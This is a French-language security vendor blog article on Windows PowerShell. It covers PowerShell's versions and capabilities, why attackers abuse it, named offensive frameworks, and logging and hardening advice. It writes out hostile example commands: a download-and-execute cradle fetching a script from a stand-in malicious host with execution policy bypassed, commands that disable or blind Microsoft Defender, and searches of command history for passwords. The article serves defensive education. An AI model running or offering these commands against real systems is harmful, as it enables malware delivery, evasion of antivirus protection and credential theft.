
Qu’est-ce que Windows PowerShell ?
Windows PowerShell est un puissant outil d’automatisation. Comprenez ses implications en matière de sécurité et comment l’utiliser en toute sécurité dans votre environnement.

Windows PowerShell est un langage de script puissant et un interpréteur de ligne de commande permettant d’automatiser des tâches et de gérer des configurations. Ce guide explore les fonctionnalités et les capacités de PowerShell, y compris son rôle dans l’administration système et la sécurité.
Découvrez les commandes PowerShell courantes, les bonnes pratiques de script et comment exploiter PowerShell à des fins de cybersécurité. Comprendre PowerShell est essentiel pour les professionnels de l’informatique et les praticiens de la sécurité.

Comment PowerShell peut-il affecter les actifs précieux de votre entreprise ? Découvrez les bases de PowerShell, pourquoi il est attrayant pour les hackers et comment protéger l’entreprise
Microsoft PowerShell est un interpréteur de ligne de commande et un langage de script utilisés pour automatiser des tâches et gérer des systèmes basés sur Windows. Il est couramment utilisé par les administrateurs et les professionnels de la sécurité pour automatiser les tâches de routine, gérer et surveiller les systèmes, et automatiser les réponses aux incidents de sécurité. Les attaquants utilisent souvent PowerShell pour obtenir un accès non autorisé aux systèmes et exécuter du code malveillant.
Microsoft PowerShell est disponible sur Windows depuis 2006, mais il est désormais l’interpréteur de commandes de l’Explorateur de fichiers sur Windows 10 et a largement remplacé l’ancien outil cmd.exe. Bien qu’il soit souvent perçu comme obscur par les utilisateurs ordinaires, PowerShell est devenu essentiel pour les équipes informatiques et les administrateurs réseau en raison de sa flexibilité et de sa puissance. Dans ce guide d’introduction, nous expliquerons les bases de PowerShell, pourquoi il est attrayant pour les hackers et les auteurs de malware, et ce que vous pouvez faire pour protéger votre organisation.
Choisissez votre version
Si vous saisissez « PowerShell » dans le champ de recherche de Cortana, plusieurs options vous seront proposées, PowerShell ISE et l’application de bureau PowerShell. En outre, si vous faites un clic droit sur le menu Démarrer ou sur l’une des icônes PowerShell de la barre des tâches, vous verrez qu’il existe deux façons différentes de lancer chaque version de PowerShell : en tant qu’utilisateur actuel ou en tant qu’administrateur.

Les administrateurs souhaitant automatiser des tâches courantes utiliseront probablement l’interface ISE pour développer des modules et des scripts PowerShell, mais pour une utilisation interactive, la plupart choisiront l’application de bureau PowerShell et l’exécuteront soit en tant qu’administrateur, soit en tant qu’utilisateur actuel selon la tâche.
Vous entendrez peut-être aussi parler de PowerShell Core, une édition open source multiplateforme qui fonctionne non seulement sur Windows, mais aussi sur Linux et macOS :

Soyez toutefois vigilant, car il s’installe comme un binaire non signé et pourrait facilement être remplacé par un imposteur malveillant. Si vous avez des endpoints utilisant PowerShell Core, assurez-vous que votre organisation le signe avec un certificat approprié, ou effectue des vérifications régulières shasum pour garantir qu’il n’a pas été altéré.
Bien qu’il existe certaines différences de capacités entre les différentes versions de PowerShell, elles peuvent toutes exécuter des sessions distantes via SSH et interagir avec une grande variété de processus et de services. PowerShell peut même interagir avec le registre Windows et le journal des événements. Et tout cela signifie qu’un adversaire ayant accès à PowerShell bénéficie du même accès et des mêmes avantages.
Libérer la puissance
Vous pouvez commencer à vous faire une idée des capacités de PowerShell avec deux commandes simples :
Get-Module -ListAvailable
pour lister les modules disponibles, et
Get-Command
pour lister les commandes disponibles :

Examinons rapidement quelques exemples. Supposons que vous (ou un adversaire) vous déplaciez dans un répertoire de documents et souhaitiez vérifier rapidement s’il contient quelque chose d’intéressant. Une commande telle que la suivante affichera les deux premières et les deux dernières lignes de chaque fichier texte du répertoire, en parcourant récursivement les répertoires enfants et en incluant tous les fichiers cachés ou invisibles, puis en redirigeant la sortie vers un autre fichier texte pour consultation ou récupération ultérieure :
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Si quelqu’un recherchait des documents pouvant commencer par « Confidential » ou se terminer par la fonction de l’auteur comme « Chief Financial Officer », cela pourrait être une méthode « rapide et approximative » pour énumérer les éléments d’intérêt.
Supprimer un élément, peut-être pour effacer toute preuve d’intrusion, revient simplement à utiliser
Remove-Item <path>
PowerShell permet également aux utilisateurs de manipuler le système d’exploitation de façons intéressantes et, hélas, dangereuses. Si un auteur de malware souhaite contourner le moteur AV préinstallé Microsoft Defender, l’exécution d’une commande PowerShell avec les privilèges appropriés peut soit le désactiver :
Set-MpPreference -DisableRealTimeMonitoring $true
soit, de manière un peu plus furtive, exclure un lecteur ou un chemin de ses chemins d’analyse :
Add-MpPreference -ExclusionPath “c:”
PowerShell permet également aux attaquants de faire facilement des choses comme énumérer vos lecteurs réseau et interroger le journal des événements, un moyen utile de trouver des informations exploitables, avec Get-PSDrive et Get-EventLog, respectivement.

Un outil utile tant pour les utilisateurs que pour les acteurs malveillants est la capacité à lire l’historique des commandes, y compris tous les arguments qui leur ont été passés, saisies de manière interactive sur la ligne de commande. L’historique est stocké à l’emplacement renvoyé par cette commande :
(Get-PSReadLineOption).HistorySavePath
et nous pouvons utiliser cat et l’applet de commande Select-String (ou son alias sls) pour « grepper » efficacement ou rechercher dans les commandes des éléments d’intérêt (par exemple, des mots de passe !) :

Scripts et kits d’exploitation
Cependant, travailler avec PowerShell en ligne de commande n’est pas là où se trouvent les meilleures opportunités pour les acteurs malveillants. Plus dangereuse est la capacité de PowerShell à exécuter des scripts à la fois en mémoire (c.-à-d. des attaques de malware « sans fichier ») et depuis le disque. Les deux peuvent être exécutés soit directement sur un hôte, soit à distance.
Comme la commande eval du shell Unix, PowerShell dispose de Invoke-Expression (et de son alias iex), ce qui permet de télécharger et d’exécuter un script malveillant en mémoire. Nous pouvons ajouter Bypass pour tenter de contourner une stratégie d’exécution restrictive :
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Sans surprise, il n’a pas fallu longtemps pour voir apparaître des frameworks d’exploitation entiers qui exploitent PowerShell à son plein potentiel.
Le premier d’entre eux est PowerSploit, une collection de scripts PowerShell pouvant aider à manipuler et contrôler la machine d’une victime.

PowerShell Empire s’appuie sur le travail de PowerSploit et de plusieurs autres projets pour créer un outil de post-exploitation capable d’échapper à la détection réseau, d’exécuter des keyloggers et d’autres modules tels que Mimikatz afin d’extraire des mots de passe en clair, des hachages de mots de passe et d’autres données directement depuis la mémoire.

L’essor des attaques PowerShell
La création de scripts PowerShell et de commandes PowerShell pouvant être exécutés à partir d’autres types de fichiers Windows, .exe, .bat, .wsf et .LNK, est l’une des raisons pour lesquelles les malwares basés sur PowerShell sont en hausse ces dernières années. Selon une estimation affirmant que les exploits PowerShell représentent près de 40 % des incidents de malware, il ne fait aucun doute que les adversaires l’utilisent dans une grande variété de campagnes, allant du ransomware au vol d’identifiants et aux chevaux de Troie bancaires. PowerShell a également été impliqué dans la fraude au clic, l’interception de mots de passe et l’exfiltration de données.
DNSMessenger est un malware qui a été observé se propager dans une macro de document Word. Il utilise intelligemment du code source VBA pour fournir des commandes PowerShell encodées afin d’assurer la persistance, livrer sa charge utile et communiquer avec un serveur C&C.
Étonnamment, certaines attaques PowerShell ne nécessitent même pas le PowerShell.exe intégré. Des outils comme PowerShdll et InsecurePowerShell peuvent exécuter des scripts directement en exploitant la bibliothèque System.Management.Automation.dll qui sous-tend le binaire PowerShell. En bref, l’exécutable PowerShell n’est qu’un hôte ou un wrapper pour le véritable code contenu dans la bibliothèque de liens dynamiques. Les attaques peuvent exploiter cela pour amener essentiellement n’importe quel processus à exécuter des scripts et des commandes PowerShell.
D’autres utilisations créatives de PowerShell consistent à intégrer un script PowerShell dans les pixels d’un fichier PNG et à générer une commande sur une seule ligne pour l’exécuter à l’aide de Invoke-PSImage, ou à convertir des scripts PowerShell en fichier EXE avec des outils comme PS2EXE.
Gérer PowerShell
Il est probablement clair, à la lumière de tout cela, que le simple blocage de PowerShell.exe serait vain, sans parler de la lourde contrainte que cela représenterait pour les administrateurs système qui en sont venus à dépendre de ce que PowerShell offre. Il est important de comprendre que PowerShell et les DLL qui le sous-tendent sont des parties intégrantes du système d’exploitation Windows et, avec l’avènement de PowerShell Core, cette puissance s’étend aux possibilités d’administration multiplateforme que les entreprises peuvent juger essentielles.
Une solution d’entreprise efficace pour gérer la double nature de PowerShell est une solution comme SentinelOne, qui examine le comportement des processus s’exécutant sur l’endpoint. Cela est efficace parce qu’ils fonctionnent de manière similaire, quelle que soit la façon dont les attaques de malware sont mises en œuvre. L’agent SentinelOne surveille toutes les activités sur l’agent afin de différencier le malveillant du bénin. Puisque l’agent détient déjà le contexte complet : utilisateurs, processus, arguments de ligne de commande, registre, fichiers sur le disque et communications externes, l’activité malveillante peut être atténuée quelle qu’en soit la source.
Vous aimez cet article ? Suivez-nous sur LinkedIn, Twitter, YouTube ou Facebook pour voir le contenu que nous publions.
En savoir plus sur la sécurité Windows
- Le cheval de Troie bancaire Hancitor est de retour | Utilisation d’une pièce jointe Word malveillante
- SentinelOne détecte et bloque une nouvelle variante de Powershell CryptoWorm
- Un nouveau type de fichier Windows 10 peut être détourné pour exécuter des applications malveillantes

Cybersécurité alimentée par l'IA
Améliorez votre posture de sécurité grâce à la détection en temps réel, à une réponse à la vitesse de la machine et à une visibilité totale de l'ensemble de votre environnement numérique.
FAQ sur Windows PowerShell
Windows PowerShell est un interpréteur de ligne de commande et un langage de script Microsoft basés sur le .NET Framework. Il vous permet d’utiliser des cmdlets — des commandes simples de type verbe-nom — pour automatiser des tâches comme la gestion du système de fichiers, du registre et des services.
PowerShell traite et renvoie des objets au lieu de texte brut, ce qui vous permet de transmettre des données structurées d’un cmdlet au suivant. Il prend également en charge l’administration à distance, les modules et l’aide intégrée à la console pour la gestion des systèmes.
Contrairement à l’ancien CMD, PowerShell utilise des cmdlets au format verbe-nom et fonctionne avec des objets .NET plutôt qu’avec des flux de texte. Cela signifie que vous pouvez chaîner des commandes via des pipelines sans analyser le texte. Les scripts PowerShell peuvent appeler directement les API .NET, offrir une gestion des erreurs plus riche et prendre en charge les modules.
Les interpréteurs de commandes traditionnels ne gèrent que du texte brut et des scripts batch de base, tandis que PowerShell fournit un environnement de script complet pour l’automatisation et la configuration.
L’intégration profonde de PowerShell au système et sa puissance de script en font un outil privilégié à la fois pour les administrateurs et les attaquants. Les acteurs de la menace utilisent des techniques sans fichier — en exécutant des scripts en mémoire — pour échapper à la détection.
PowerShell peut désactiver des défenses, télécharger du code malveillant ou voler des identifiants sans toucher au disque. Son omniprésence dans Windows signifie que les défenseurs doivent considérer l’activité PowerShell comme à haut risque et la surveiller de près pour détecter tout abus.
Dans une étude de Cisco, PowerShell était impliqué dans plus d’un tiers des menaces de sécurité critiques sur les endpoints. Carbon Black a signalé des abus de PowerShell dans 38 pour cent des incidents, souvent dans des actions post-exploitation comme le mouvement latéral ou le vol d’identifiants.
Même si son utilisation normale est faible, PowerShell apparaît dans environ une rencontre malveillante confirmée sur quatorze.
Activez toute la journalisation PowerShell : journalisation des modules, journalisation des blocs de script et transcription. Définissez la taille des journaux à au moins 150 MB et collectez les événements depuis
Microsoft-Windows-PowerShell/Operational et PowerShellCore/Operational. Alimentez les journaux dans un SIEM ou XDR. Bloquez les scripts provenant de processus parents non fiables et limitez la stratégie d’exécution aux scripts signés uniquement. Activez Protected Event Logging pour obtenir plus de détails.
Utilisez Just Enough Administration (JEA) pour limiter l’accès des utilisateurs aux seuls cmdlets approuvés. Appliquez le mode langage contraint pour désactiver COM, WMI et les expressions complexes. Déployez des stratégies de contrôle des applications (par exemple, WDAC) pour autoriser uniquement les scripts signés.
Maintenez PowerShell à jour vers la version 5.1 ou ultérieure. Examinez et ajustez régulièrement les paramètres de journalisation pour garantir que chaque invocation de script est enregistrée.
Bloquer complètement PowerShell peut perturber la gestion du système et l’administration à distance. Microsoft déconseille sa suppression pure et simple. À la place, limitez l’exécution aux administrateurs autorisés, appliquez le contrôle des applications et empêchez PowerShell d’être lancé par des processus parents non fiables comme les applications Office.
Combinés à la journalisation et à la surveillance, ces contrôles stoppent la plupart des usages malveillants sans paralyser les opérations légitimes.
PowerShell permet aux défenseurs d’automatiser la réponse aux incidents, de collecter rapidement des données forensiques et de rechercher les menaces. Vous pouvez écrire des scripts pour recueillir des artefacts du registre, des listes de processus et des connexions réseau en quelques minutes. Apprendre PowerShell aide également à comprendre les techniques des attaquants, puisque de nombreux outils post-exploitation (Empire, Cobalt Strike) utilisent PowerShell en arrière-plan.
Les scripts PowerShell peuvent collecter la mémoire active, les clés d’exécution du registre, les journaux d’événements et les données réseau pour le triage. Des outils communautaires comme DFIR-Script automatisent la collecte de preuves sur les endpoints. Les hunters utilisent PowerShell pour interroger l’ID d’événement Windows 4104 afin de détecter des blocs de script malveillants, analyser la sortie et alimenter les playbooks SOAR. Cela fait de PowerShell un élément central des workflows de détection, de confinement et de remédiation.



